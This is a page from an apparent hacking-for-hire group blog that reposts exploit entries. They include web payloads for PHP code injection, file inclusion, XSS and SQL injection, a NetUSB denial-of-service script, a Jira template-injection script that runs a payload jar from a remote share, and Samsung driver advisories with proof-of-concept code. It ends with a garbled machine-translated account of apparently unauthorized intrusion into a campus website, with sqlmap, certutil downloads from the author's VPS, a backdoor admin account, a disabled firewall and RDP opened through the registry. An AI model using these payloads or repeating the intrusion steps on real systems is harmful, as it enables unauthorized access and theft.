Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863601660

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/60455/info

Max Forum is prone to multiple input-validation vulnerabilities including a PHP code-execution vulnerability, a local file-include vulnerability and an information-disclosure because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to inject arbitrary PHP code and include and execute arbitrary files from the vulnerable system in the context of the affected application and to obtain sensitive information that may aid in further attacks.

Max Forum 2.0.0 is vulnerable; other versions may also be affected. 

PHP code-execution:

POST /Max/install/install.php?step=4 HTTP/1.1
Host: www.example
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example/Max/install/install.php?step=3
Cookie: exp_lang=en; language=english; max_name=admin; max_password=2d6df19ab196f1c344310e0021239a06; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
mysql_host=www.example&mysql_login=root&mysql_pass=toor&mysql_database=max&db_prefix=max_%22%3Bphpinfo%28%29%3B%2F%2F&site_address=http%3A%2F%2Fwww.example%2FMax%2F&step=4&prev_step=3

Local file-include:

GET /Max/install/ HTTP/1.1
Host: www.example
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: language=../../phpinfo; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive

Information-disclosure:

GET /Max/index.php?forum=2 HTTP/1.1
Host: www.example
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: max_name=admin; max_password=dfbb72b7a33b97abda905a4af7e6c7f5; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97; lang=
Connection: keep-alive
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: NetUSB Kernel Stack Buffer Overflow
# Date: 9/10/15
# Exploit Author: Adrian Ruiz Bermudo
# Vendor Homepage: http://www.kcodes.com/
# Version: Multiple: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
# Tested on: NETGEAR DC112A
# CVE : CVE-2015-3036

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128	#BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
	try:
		target = sys.argv[1]
		try:
			port = int(sys.argv[2])
		except Exception as detail:
			port = PORT_DEFAULT
		
		#Inicialización de la conexión.
		init = "\x56\x05"
		#Datos aleatorios para el handshake
		randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
		#Nombre del equipo con 128 carácteres para provocar DoS.
		computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
		#Longitud del nombre del equipo - "\x80\x00\x00\x00"
		lengthComputerName = struct.pack("i", DOS_BYTES);
		#Sync - "\x07\x00\x00\x00"
		syncOK = struct.pack("i", 7);
		#Finalización de la conexión.
		end = "\x01"

		encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
		randomDataCrypt1 = encryption_suite.encrypt(randomData)

		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.settimeout(TIMEOUT)

		print "Conectando:", target,":",port
		sock.connect((target, port))
		print "Conectado"
		print "----------------"

		print "Inicializando:", init.encode("hex")
		sock.send(init)
		print "Random data para cifrar por el servidor:", randomData.encode("hex")
		sock.send(randomData)
		print "----------------"

		result = sock.recv(RECV_SIZE)
		print "Random data cifrados por el servidor:", result.encode("hex")
		print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
		if (randomDataCrypt1 == result):
			print "Handshake OK"
			randomData = sock.recv(RECV_SIZE)
			print "Random data a cifrar por el cliente:", randomData.encode("hex")
			randomDataCrypt2 = encryption_suite.encrypt(randomData)
			print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
			print "----------------"
			sock.send(randomDataCrypt2)
			print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
			sock.send(lengthComputerName)
			print "Nombre del host a parear:", computerName.encode("hex")
			sock.send(computerName)
			print "----------------"

			print "Sync: ", syncOK.encode("hex")
			sock.send(syncOK)
			if (sock.recv(RECV_SIZE) == syncOK):
				print "Sync ok"
				sock.send(end)
				try:
					#Esperamos unos segundos antes de conectar
					time.sleep(TIMEOUT)
					#Comprobamos si el dispositivo sigue vivo...
					sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
					sock.settimeout(TIMEOUT)
					sock.connect((target, port))
					print "No vulnerable"
				except Exception as detail:
					print "Vulnerable, exploit OK"
			else:
				print 'Sync error.'
	except Exception as detail:
		print "Error de comunicación:", detail
else:
	print "Usage:", sys.argv[0], "target [port]"
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title		: Sam Spade 1.14 Scan from IP address Field SEH Overflow Crash PoC
# Discovery by		: Luis Martínez
# Email			: l4m5@hotmail.com
# Discovery Date	: 20/10/2015
# Vendor Homepage	: http://samspade.org
# Software Link		: http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version	: 1.14
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS		: Windows XP Professional SP3 x86 es
# Crash Point		: Go to Tools > Scan addresses field > Enter the contents of 'samspade_1.14_BoF.txt' > OK
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# After the execution of POC, the SEH chain looks like this: 
# 0012EBE0 43434343
# 42424242 *** CORRUPT ENTRY ***
 
# And the Stack
 
#0012EBD0   41414141  AAAA
#0012EBD4   41414141  AAAA
#0012EBD8   41414141  AAAA
#0012EBDC   41414141  AAAA
#0012EBE0   42424242  BBBB  Pointer to next SEH record
#0012EBE4   43434343  CCCC  SE handler
 
# And the Registers
 
#EAX 00000001
#ECX 00000001
#EDX 00140608
#EBX 00000000
#ESP 0012EBD0 ASCII "AAAAAAAAAAAAAAAABBBBCCCC - "
#EBP 41414141
#ESI 00C2BD00
#EDI 00E89DB0
#EIP 41414141

buffer = "\x41" * 531
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("samspade_1.14_BoF.txt", "w")
f.write(buffer+nseh+seh)
f.close()
HireHackking 
# Description of the component:
Reach, engage and delight more customers with newsletters, auto-responders
or campaign management.

##################################################################################################
# Exploit Title: [Joomla component com_jnews - SQL injection]
# Google Dork: [inurl:option=com_jnews]
# Date: [2015-10-29]
# Exploit Author: [Omer Ramić]
# Twitter: https://twitter.com/sp_omer
# Vendor Homepage: [http://www.joobi.co/]
# Software Link: [
http://www.joobi.co/index.php?option=com_content&view=article&id=8652&Itemid=3031
]
# Version: [8.5.1] & probably all prior
# Tested on: Linux/Windows/PHP 5.5.28/Apache 2.4.16
##################################################################################################

#Vulnerable POST parameter:
Parameter_1: sub_list_id[1] (This parametar needs to be encoded when
exploited as: sub_list_id%5B1%5D)


#The vulnerable parameter is within the following request:

POST /joomlatest/index.php?option=com_jnews HTTP/1.1
Host: 192.168.0.10
User-Agent: Hidden-user-agent-version
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://192.168.0.10/joomlatest/index.php?option=com_jnews&view=subscribe&act=subone&Itemid=206
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 318

Itemid=188&name=asdf&email=asdf%40asdf.com
&receive_html=0&timezone=00%3A00%3A00&confirmed=1&subscribed%5B1%5D=0&sub_list_id%5B1%5D=1&acc_level%5B1%5D=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1





#Vector:
sub_list_id%5B1%5D=1[SQLi]



POC_1: boolean-based blind
Itemid=188&name=asdf&email=asdf@asdf.com&receive_html=0&timezone=00:00:00&confirmed=1&subscribed[1]=0&sub_list_id[1]=1
RLIKE (SELECT (CASE WHEN (7097=7097) THEN 1 ELSE 0x28
END))&acc_level[1]=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1

POC_2: error-based
Itemid=188&name=asdf&email=asdf@asdf.com&receive_html=0&timezone=00:00:00&confirmed=1&subscribed[1]=0&sub_list_id[1]=1
AND EXTRACTVALUE(8483,CONCAT(0x5c,0x716b787671,(SELECT
(ELT(8483=8483,1))),0x716b786b71))&acc_level[1]=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1

POC_3: AND/OR time-based blind
Itemid=188&name=asdf&email=asdf@asdf.com&receive_html=0&timezone=00:00:00&confirmed=1&subscribed[1]=0&sub_list_id[1]=(SELECT
* FROM
(SELECT(SLEEP(5)))Qrax)&acc_level[1]=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1



###################################
# Greets to Palestine from Bosnia          #
###################################

Good Luck ^__^
HireHackking 
source: https://www.securityfocus.com/bid/60449/info

HP Insight Diagnostics is prone to a local file include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected. 

https://www.example.com/hpdiags/frontend2/help/pageview.php?path=comparesurvey.html
HireHackking 
source: https://www.securityfocus.com/bid/60426/info
 
Resin Professional is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Resin Professional 4.0.36 is vulnerable; other versions may also be affected. 

http://www.example.com/resin-admin/?q=index.php&logout=true%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/60447/info

HP Insight Diagnostics is prone to a remote code-injection vulnerability.

An attacker can exploit this vulnerability to inject and execute arbitrary code within the context of the affected application.

HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected.

https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes
HireHackking 
source: https://www.securityfocus.com/bid/60426/info

Resin Professional is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Resin Professional 4.0.36 is vulnerable; other versions may also be affected. 

http://www.example.com/resin-admin\?%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=493

The Samsung m2m1shot driver framework is used to provide hardware acceleration for certain media functions, such as JPEG decoding and scaling images. The driver endpoint (/dev/m2m1shot_jpeg) is accessible by the media server

The Samsung S6 Edge is a 64-bit device, so a compatibility layer is used to allow 32-bit processes to provide structures that are expected by the 64-bit driver. There is a stack buffer overflow in the compat ioctl for m2m1shot:

static long m2m1shot_compat_ioctl32(struct file *filp,
                                unsigned int cmd, unsigned long arg)
{
...
        switch (cmd) {
        case COMPAT_M2M1SHOT_IOC_PROCESS:
        {
                struct compat_m2m1shot data;
                struct m2m1shot_task task;
                int i, ret;

                memset(&task, 0, sizeof(task));

                if (copy_from_user(&data, compat_ptr(arg), sizeof(data))) {
                        dev_err(m21dev->dev,
                                "%s: Failed to read userdata\n", __func__);
                        return -EFAULT;
                }

                ...
                for (i = 0; i < data.buf_out.num_planes; i++) {
                        task.task.buf_out.plane[i].len =
                                                data.buf_out.plane[i].len;
                        ...
                }

In this code snippet, the data.buf_out.num_planes value is attacker-controlled "u8" value, and is not bounds checked. However, task.task.buf_out.plane array is fixed in size (three elements), so a buffer overflow can occur during the loop shown above.

Proof-of-concept code to trigger this issue (from a privileged shell) is attached (m2m1shot_compat.c).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38555.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=490

The SecEmailComposer/EmailComposer application used by the Samsung S6 Edge has an exported service action to do quick replies to emails. It was found that this action required no permissions to call, and could lead to an unprivileged application gaining access to email content.

Service Action: com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND
Component: com.samsung.android.email.composer
Class Name: com.samsung.android.email.composer.service.QuickReplyService

The service takes a JSON encoded string with various additional parameters. We need to know two parameters, the email address of the local account and a message ID. We can guess a valid message ID (which just seems to be an incrementing number).

If we guess an invalid ID the service simply returns, but if we do get a valid ID the service seems to automatically create the reply email, attach an attacker supplied message as well as the contents of the original message and sends it to any email address you like. For example:

Intent intent = new Intent();
intent.setAction("com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND");
intent.setClassName("com.samsung.android.email.composer",
       "com.samsung.android.email.composer.service.QuickReplyService");
intent.putExtra("data", "{'original-msg-id':1, " +
       "'account-id':'project.zero.victim@gmail.com', " +
       "'msg':'Hello World!'," +
       "'title':'Hello Title'," +
       "'toList':'project.zero.attacker@gmail.com'}");
ComponentName name = MainActivity.this.startService(intent);

No permissions are required to send this service intent. If successfully sent this will show up in a "sent email" notification and will be present user’s sent email folder.
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=491

The Exynos Seiren Audio driver has a device endpoint (/dev/seiren) that is accessible by either the system user or the audio group (such as the mediaserver). It was found that the write() implementation for this driver contains a buffer overflow vulnerability that overflow a static global buffer:

static ssize_t esa_write(struct file *file, const char *buffer,
                                        size_t size, loff_t *pos)
{
        struct esa_rtd *rtd = file->private_data;
        unsigned char *ibuf;
…
        ibuf = rtd->ibuf0;
...
        /* receive stream data from user */
        if (copy_from_user(ibuf, buffer, size)) {
                esa_err("%s: failed to copy_from_user\n", __func__);
                goto err;
        }

Note that the user supplied buffer and size parameters are not adequately bounds checked. The destination buffer is fixed size, so memory corruption can occur. A simple proof-of-concept from a privileged shell can be used to trigger the issue (tested on a Samsung S6 Edge):

# dd if=/dev/zero of=/dev/seiren count=5000000
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=492

The Samsung Graphics 2D driver (/dev/fimg2d) is accessible by unprivileged users/applications. It was found that the ioctl implementation for this driver contains a locking error which can lead to memory errors (such as use-after-free) due to a race condition.

The key observation is in the locking routine definitions in fimg2d.h:

#ifdef BLIT_WORKQUE
#define g2d_lock(x)             do {} while (0)
#define g2d_unlock(x)           do {} while (0)
#define g2d_spin_lock(x, f)     spin_lock_irqsave(x, f)
#define g2d_spin_unlock(x, f)   spin_unlock_irqrestore(x, f)
#else
#define g2d_lock(x)             mutex_lock(x)
#define g2d_unlock(x)           mutex_unlock(x)
#define g2d_spin_lock(x, f)     do { f = 0; } while (0)
#define g2d_spin_unlock(x, f)   do { f = 0; } while (0)
#endif

This means that the g2d_lock/g2d_unlock routines are no-ops when BLIT_WORKQUE is defined, which appears to be the default configuration. Unfortunately the alternative spin lock routines are not used consistently with this configuration. For example, the FIMG2D_BITBLT_BLIT ioctl command (with notes annotated as "PZ"):

ctx = file->private_data; /* PZ: ctx allocated at open(), lives on the heap. */

switch (cmd) {
case FIMG2D_BITBLT_BLIT:

	mm = get_task_mm(current);
	if (!mm) {
		fimg2d_err("no mm for ctx\n");
		return -ENXIO;
	}

	g2d_lock(&ctrl->drvlock); /* PZ: This is a no-op. */

	ctx->mm = mm;

	ret = fimg2d_add_command(ctrl, ctx, (struct fimg2d_blit __user *)arg);
	if (ret) {
		...
	}

	ret = fimg2d_request_bitblt(ctrl, ctx); /* PZ: Does stuff with the ctx. */
	if (ret) {
		...
	}

	g2d_unlock(&ctrl->drvlock); /* PZ: Another no-op */

As the lock macros are no-ops, a second process can change ctx->mm when the original process is still using the same ctx->mm (as long as it has access to the same file descriptor).

Reproduction steps:
Open /dev/fimg2d
Fork to get two processes with different mm’s with the access to the fd
Concurrently call the FIMG2D_BITBLT_BLIT ioctl from both processes.
One ioctl should have valid data, the other should fail

At this point ctx->mm will now have invalid or free data (free if the forked process dies). Proof-of-concept code to trigger this condition is attached (fimg2d-lock.c)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38557.zip
HireHackking 
# Source: https://code.google.com/p/google-security-research/issues/detail?id=494

'''
The default Samsung email client's email viewer and composer (implemented in SecEmailUI.apk) doesn't sanitize HTML email content for scripts before rendering the data inside a WebView. This allows an attacker to execute arbitrary JavaScript when a user views a HTML email which contains HTML script tags or other events.

At the very least the JavaScript could exploit the attack surface provided within the WebView control. It might also be possible to access local file content or emails depending on the full configuration of the WebView, although this hasn't been tested fully. 

This can also be exploited locally with the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND intent which will include attacker controlled HTML in the sending email. If the final message was viewed it would be possible for the script to extract the original message from the Document object and potentially post that information to another server.

Attached is a simple SMTP client in Python to send an HTML message with script contents to the device. The "me", "you", "me_password" and "smtp_server" variables need to be changed to ones appropriate for the sending email account and the receiving account on the phone. When the resulting email is viewed it should display the URL of the page which is of the form email://M/N where M is the email account ID and N is the message ID which proves that the script code executed.
'''

#!/usr/bin/env python

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# Change the details here appropriate to your configuration
me = "attacker@gmail.com"
me_password = "THIS IS NOT REAL"
you = "project.zero.test@gmail.com"
smtp_server = "smtp.gmail.com"

msg = MIMEMultipart('alternative')
msg['Subject'] = "Hello There!"
msg['From'] = me
msg['To'] = you

text = "Hello There!"
html = """\
<html>
  <head></head>
  <body>
   <p>
       <script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
    </p>
  </body>
</html>
"""

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

msg.attach(part1)
msg.attach(part2)

s = smtplib.SMTP_SSL(smtp_server)
s.login(me, me_password)
s.sendmail(me, you, msg.as_string())
s.quit()
HireHackking 
================================================================================
____ _    _    ____ _  _    ____ _  _ ___  ____ ____ 
|__| |    |    |__| |__|    |__| |_/  |__] |__| |__/ 
|  | |___ |___ |  | |  |    |  | | \_ |__] |  | |  \ 
                                                      
================================================================================


######################################################
# Exploit Title: Sagem javascript injection 
# Date: 27/10/15
# Exploit Author: Soufiane Alami Hassani
# Version: FAST3304-V2
# Tested on: [Windows 8.1 Pro]
# Category : webapps
# Facebook : soufiane.a.hassani
# Email    : nios1515@gmail.com
######################################################


###########################
#By Soufiane Alami Hassani#
###########################

Vulnerability Description : You can change the password of your router even if you have not the access.

Exploit : In Bar address copy and paste : "javascript:mimic_button('goto: 9096..')" the router redirect you to another page to change the password .

########################
Moroccan Are The Best .
########################


mimic_button('goto: 9096..')
HireHackking 
############################################################################
# JIRA and HipChat for JIRA plugin Velocity Template Injection Vulnerability
# Date: 2015-08-26
# CVE ID: CVE-2015-5603
# Vendor Link: https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html
#
# Product: JIRA and the HipChat for JIRA plugin.
# Affected HipChat For JIRA plugin versions: 1.3.2 <= version < 6.30.0
# Affected JIRA product versions: 6.3.5 <= version <  6.4.11
#
# Discovered internally by Atlassian (vendor)
# Proof of concept script by Chris Wood <chris@invivid.com>
#
# Tested against JIRA 6.3.4a with HipChat 6.29.2 on Windows 7 x64
# Allows any authenticated JIRA user to execute code running as Tomcat identity
############################################################################

import urllib2
import json

# cookie of any authenticated session (ex. jira-user)
JSESSIONID = '541631B0D72EF1C71E932953F4760A70'

# jira server
RHOST      = 'http://192.168.2.15:8080'

# samba public share, read/write to anonymous users
CMD 	   = ' java -jar \\\\192.168.2.234\\public\\payload.jar '
data = {
    'message': ' $i18n.getClass().forName(\'java.lang.Runtime\').getMethod(\'getRuntime\', null).invoke(null, null).exec(\'' + CMD + '\').waitFor() '
}

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'JSESSIONID=' + JSESSIONID))
urllib2.install_opener(opener)
req = urllib2.Request(RHOST + '/rest/hipchat/integrations/1.0/message/render/')
req.add_header('Content-Type', 'application/json')

response = urllib2.urlopen(req, json.dumps(data))

print('##################################')
print('######### CVE-2015-5603 ##########')
print('##################################')
print(response.read())
HireHackking 
source: https://www.securityfocus.com/bid/60354/info

QNAP VioStor NVR and QNAP NAS are prone to a remote code-execution vulnerability.

Successfully exploiting this issue may allow an attacker to execute arbitrary code with elevated privileges in the context of the user running the affected application.

The following are vulnerable:

QNAP VioStor NVR running firmware 4.0.3.
QNAP NAS 

http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami
HireHackking 
source: https://www.securityfocus.com/bid/60345/info

Apache Struts is prone to a remote OGNL expression injection vulnerability.

Remote attackers can exploit this issue to manipulate server-side objects and execute arbitrary commands within the context of the application.

Apache Struts 2.0.0 through versions 2.3.14.3 are vulnerable. 

http://www.example.com/example/%24%7B%23foo%3D%27Menu%27%2C%23foo%7D

http://www.example.com/example/${#foo='Menu',#foo}
HireHackking 
source: https://www.securityfocus.com/bid/60340/info

Telaen is prone to an information-disclosure vulnerability.

Successful exploits will allow attackers to obtain sensitive information that may aid in further attacks.

Versions prior to Telaen 1.3.1 are vulnerable.

hhtp://www.example.com//telaen/inc/init.php
HireHackking 
source: https://www.securityfocus.com/bid/60337/info

CMS Gratis Indonesia is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

CMS Gratis Indonesia 2.2 beta 1 is vulnerable; other versions may also be affected. 

POST /cmsid/?setup=yes HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/cmsid/?setup=yes
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
hostname=localhost&mysql_user=root&mysql_pass=toor&mysql_db_name=cmsid&db_prefix=iw_');phpinfo();//&step_1=Next+%C2%BB%C2%BB
HireHackking 
source: https://www.securityfocus.com/bid/60288/info

Telaen is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to Telaen 1.3.1 are vulnerable. 

http://www.example.com/telaen/index.php?tid=default&lid=en_UK&f_email="><script>alert("XSS")</script>
HireHackking 
source: https://www.securityfocus.com/bid/60290/info

Telaen is prone to an open-redirection vulnerability.

An attacker can leverage this issue by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.

Versions prior to Telaen 1.3.1 are vulnerable. 

http://www.example.com/telaen/redir.php?http://www.malicious-site.com
HireHackking 
source: https://www.securityfocus.com/bid/60262/info

Elastix is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)>
https://www.example.comlibs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)>
HireHackking 
source: https://www.securityfocus.com/bid/60257/info

php4dvd is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

php4dvd 2.0 is vulnerable; other versions may also be affected. 

POST /php4dvd/install/?go=configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/php4dvd/install/?go=configuration
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=9bucpus4ag68733h2fjpm190p0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

dbhost=localhost&dbport=3306;phpinfo()&dbname=php4dvd&dbuser=root&dbpass=myP@ssw0rd&url=php4dvd&template=default&defaultlanguage=en_US&submit=Next
HireHackking

0x01はじめに

試験の準備をするとき、私は誤ってキャンパスネットワークのサイトをクリックしてレビューを停止しました（剣を描くだけです）

1049983-20220106104512280-663778906.png

0x02浸透プロセス

注射のテスト

http://url/newdetail.aspx？id=11999 'または1=1-

SQLMAPは直接使用され、WAF（犬の頭）はありません

1049983-20220106104513053-178884482.png

さりげなく見てください

python sqlmap.py -u 'http://url/newdetail.aspx？id=119' - バッチ - dbs

python sqlmap.py -u 'http://url/newdetail.aspx？id=119' - バッチ - ユーザー

1049983-20220106104514484-1843347150.png

DBMSSQLSERVER 2005

1049983-20220106104515166-53616618.png

Whowing in Windows NT Authorityシステムは、組み込みシステム管理アカウントです

1049983-20220106104515748-751391338.png

ディレクトリchdirを確認してください

1049983-20220106104516268-1231909659.png

dir C: \

1049983-20220106104516970-1699368559.png

OSバージョンMicrosoft（R）Windows（R）Server 2003、Enterprise Edition

1049983-20220106104517567-176420855.png

IPConfig 1049983-20220106104518165-559949965.png

サーバー上のcertutilの存在は、コマンドのテストを決定することと同等です

VPS

python -m simplehttpserver 80

それを呼びます

ping wt070h.dnslog.cn

certutil.exe -urlcache -split -f http://funny_ip/Amazing1x

エコーを発見してください

1049983-20220106104518717-936528931.png

ただし、ウェブサイトのパスは中国語です。トロイの木馬を書くと、トロイの木馬を書くときは文字化けされます。解決策を見つけましたが、失敗しました。

1049983-20220106104519086-1291404844.png

環境変数を見てください

1049983-20220106104520682-227088344.png

NMAPは、リモートで接続しようとするときにいくつかの問題があるため、ポートを見ました。最初は、理由が何であるかわからなかったので、見てみるつもりでした。

1049983-20220106104523407-1707021554.png

3389をリモートで接続して新しいユーザーを作成してみてください

＃新しいユーザーを作成します

ネットユーザーAmazingAdmin123 Amazing.123456 /add

#grant権限

ネットローカルグループ管理者AmazingAdmin123 /add

＃ユーザーをアクティブ化します

ネットユーザーAmazingAdmin123 /Active:YES

#close firewall

netshファイアウォールセットopmodeモード=無効

#enableデフォルト設定netshファイアウォールリセット

レジストリからポート3389を開きます

Echo Windows Registry Editorバージョン5.00 3389.REG

echo [hkey_local_machine \ system \ currentControlset \ control \ターミナルサーバー] 3389.REG

echo 'fdenytsconnections'=dword:0000000003389.REG

echo [hkey_local_machine \ system \ currentControlset \ control \ Terminal Server \ wds \ rdpwd \ tds \ tcp] 3389.Reg

echo 'ortnumber'=dword:00000d3d 3389.reg

echo [hkey_local_machine \ system \ currentControlset \ control \ Terminal Server \ Winstations \ RDP-TCP] 3389.REG

echo 'portnumber'=dword:00000d3d 3389.reg

Regedit /s 3389.REG関連レコード

1049983-20220106104525073-1391786797.png

関連レコード

